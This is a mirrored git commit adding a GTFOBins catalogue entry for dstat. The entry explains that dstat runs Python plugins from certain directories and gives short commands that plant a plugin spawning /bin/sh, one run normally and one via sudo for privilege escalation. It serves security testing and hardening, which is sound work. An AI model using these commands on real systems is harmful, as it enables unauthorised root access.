mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 22:09:35 +01:00
Add dstat
Co-authored-by: AlexConnat <alexandre.connat@epfl.ch> Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
b34f8a9967
commit
f4ec254e8c
21
_gtfobins/dstat.md
Normal file
21
_gtfobins/dstat.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
description: |
|
||||
`dstat` allows you to run arbitrary Python scripts loaded as "external plugins" if they are located in one of the directories stated in the `dstat` man page under "FILES":
|
||||
|
||||
1. `~/.dstat/`
|
||||
2. `(path of binary)/plugins/`
|
||||
3. `/usr/share/dstat/`
|
||||
4. `/usr/local/share/dstat/`
|
||||
|
||||
Pick the one that you can write into.
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
mkdir -p ~/.dstat
|
||||
echo 'import os; os.execv("/bin/sh", ["sh"])' >~/.dstat/dstat_xxx.py
|
||||
dstat --xxx
|
||||
sudo:
|
||||
- code: |
|
||||
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
|
||||
sudo dstat --xxx
|
||||
---
|
Loading…
Reference in New Issue
Block a user